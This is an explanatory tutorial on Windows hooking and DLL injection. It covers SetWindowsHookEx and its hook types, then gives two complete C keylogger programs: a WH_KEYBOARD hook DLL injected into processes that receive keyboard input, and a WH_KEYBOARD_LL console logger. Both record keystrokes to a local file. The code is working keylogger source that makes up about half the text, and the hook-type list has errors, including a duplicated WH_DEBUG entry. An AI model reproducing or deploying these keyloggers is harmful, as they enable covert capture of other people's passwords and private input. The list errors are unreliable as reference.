Hooking is a technique for altering the behaviour of an operating system or application by intercepting API function calls. The code that handles such interceptions is called a hook procedure. A hook procedure can act on each event it receives, and then modify or discard it. DLL injection is a technique used to run code within another process’s address space by forcing it to load a dynamic-link library. DLL injection can usually be used by external programs to change the behaviour of another program.
Windows allows a developer to insert hooks using the SetWindowsHookEx() function. When an event such as a keypress occurs, the OS can be set to hook or call a new procedure. A hook chain is a list of pointers to application-defined hook procedures. When a message occurs that is associated with a particular type of hook, the system passes the message to each hook procedure referenced in the hook chain
The prototype for SetWindowsHookEx is
HOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hmod,DWORD dwThreadId);
Where
idHook – is the type of hook procedure to be installed. This parameter can be one of the following values.
WH_DEBUG – used to monitor messages before the system sends them to the destination window procedure.
WH_CALLWNDPROCRET – used to monitor messages processed by the destination window procedure.
WH_CBT – used to receive notifications useful to a CBT application
WH_DEBUG – used when the application’s foreground thread is about to become idle.
WH_FOREGROUNDIDLE – used for performing low-priority tasks during idle time.
WH_JOURNALPLAYBACK – used to post messages previously recorded by a WH_JOURNALRECORD hook procedure.
WH_JOURNALRECORD – used to record input messages posted to the system message queue.
WH_KEYBOARD – used to monitor keystroke messages.
WH_KEYBOARD_LL – used to monitor low-level keyboard input events.
WH_MOUSE – Installs a hook procedure that monitors mouse messages.
WH_MOUSE_LL – used to monitor low-level mouse input events.
WH_MSGFILTER – used to monitor input events in a dialog box, message box, menu, or scroll bar.
WH_SHELL – used to monitor shell applications
WH_SYSMSGFILTER – used to monitor messages generated by an input event in a dialog box, message box, menu, or scroll bar.
Lpfn – A pointer to the hook procedure.
Hmod – A handle to the DLL containing the hook procedure pointed to by the lpfn parameter.
DwThreadId – The thread identifier with which the hook procedure is associated.
Return value – If the function succeeds, the return value is the handle to the hook procedure. If the function fails, the return value is NULL.
For detailed reading on the SetWindowsHookExA – https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa
The hook procedure
A hook procedure has the following syntax:
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
The nCode parameter is used to determine the action to perform. The value of the hook code depends on the type of the hook. The wParam and lParam parameters depend on the hook code, but they typically contain information about a message that was sent or posted
Calling the CallNextHookEx function to chain to the next hook procedure is not necessary, but it is highly recommended. This will enable other applications that have installed hooks to receive hook notifications and behave normally.
For further detailed reading about hooking
https://docs.microsoft.com/en-us/windows/win32/winmsg/about-hooks
Example
The first routine uses explicit linking and a separate dll file to load a keylogging procedure and stores the keystrokes in a file keylogfile.log. The hook will be maintained until UnhookWindowsHook is called by pressing the enter key or closing the console application.
With the WH_KEYBOARD parameter option, the callback function is implemented in a DLL that will be injected into any process that receives the keyboard input. Note that a 32-bit DLL will only be injected into 32-bit processes and similarly for a 64-bit DLL. This means that to capture all keystrokes, two separate DLLs may be required.
//inject.dll #include <stdio.h> #include <Windows.h> extern "C" __declspec(dllexport) int meconnect(int code, WPARAM wParam, LPARAM lParam) { FILE *file; //default keylogger.txt location is current program .exe directory file=fopen( "keylogger.txt", "a+"); if(code == HC_ACTION) { char str[2]=""; sprintf(str,"%c",(char)wParam); if ((DWORD)lParam & 0x40000000) { fprintf(file,str); } } fclose(file); return (CallNextHookEx(NULL, code, wParam, lParam)); }
//win32 console application. #define _WIN32_WINNT 0x0400 #include <windows.h> #include <stdio.h> int main(int argc, char* argv[]) { // Load library containing hooking function. HMODULE dll = LoadLibrary("C:\\inject.dll");//be sure to change this to the location OF THE DLL if(dll == NULL) { printf("The DLL could not be found.\n"); getchar(); return -1; } // Get the address of the function inside the DLL. HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "meconnect"); if(addr == NULL) { printf("The function was not found.\n"); getchar(); return -1; } //Hook the function. HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0); if(handle == NULL) { printf("The KEYBOARD could not be hooked.\n"); } //Unhook the function. printf("Program successfully hooked.\nPress enter to unhook the function and stop the program."); getchar(); UnhookWindowsHookEx(handle); return 0; }
This second routine calls an ‘export’ function declared within the executable and stores the results in the textfile keylogfile.log. In this instance, the callback function is invoked via Windows messages. It does not perform any process injection and thus does not require that the callback is in a DLL. It does require that the application has a Windows message loop to handle the message processing. This method works with both 32 and 64-bit processes on Windows. The hook will be maintained until UnhookWindowsHook is called by pressing the escape key or closing the console application.
//console application #define _WIN32_WINNT 0x0400 #include <Windows.h> #include <stdio.h> HHOOK hKeyHook; __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode,WPARAM wParam,LPARAM lParam) { // Function "exported" from the executable. Performs low level hook-handling. // nCode containsThe hook code,wParam contains the window message // and lParam is a pointer to a struct with information about the pressed key if ((nCode == HC_ACTION) &&((wParam == WM_SYSKEYDOWN) ||(wParam == WM_KEYDOWN))) { KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam); DWORD dMsg = 1; dMsg += hooked.scanCode << 16; dMsg += hooked.flags << 24; char keyName[0x100] = {0}; keyName[0] = '['; int i = GetKeyNameTextA(dMsg, (keyName+1),0xFF) + 1; //retrieves the name of the pressed key. keyName[i] = ']'; if (hooked.vkCode==VK_ESCAPE)//checks for escape key and closes message loop { PostQuitMessage(0); } // Print the key name to key logging file 'keys'. FILE *file; //default keylogger.txt location is current program .exe directory file=fopen("keylogfile.log","a+"); fputs(keyName,file); fflush(file); } return CallNextHookEx(hKeyHook, nCode,wParam,lParam); } // Simple message loop to keep process running until terminated by either escape of closing command window. void MsgLoop() { MSG message; while (GetMessage(&message,NULL,0,0)) { TranslateMessage( &message ); DispatchMessage( &message ); } } // This KeyLogger function is used install the low level keyboard hook DWORD WINAPI KeyLogger(LPVOID lpParameter) { HINSTANCE hExe = GetModuleHandle(NULL); // Get the module handle to this executable if (!hExe) hExe = LoadLibraryA((LPCSTR) lpParameter); if (!hExe) return 1; //if load library failed return // set up the keyboard hook using functions KeyEvent from this executable hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe,NULL); printf("Program successfully hooked.\nPress escape to unhook the function and stop the program.\n"); MsgLoop();//call message koop. printf("Unhook the function and stop the program.\n"); UnhookWindowsHookEx(hKeyHook); return 0; } // Main function call keylogger int main(int argc, char** argv) { KeyLogger(0); return 0; }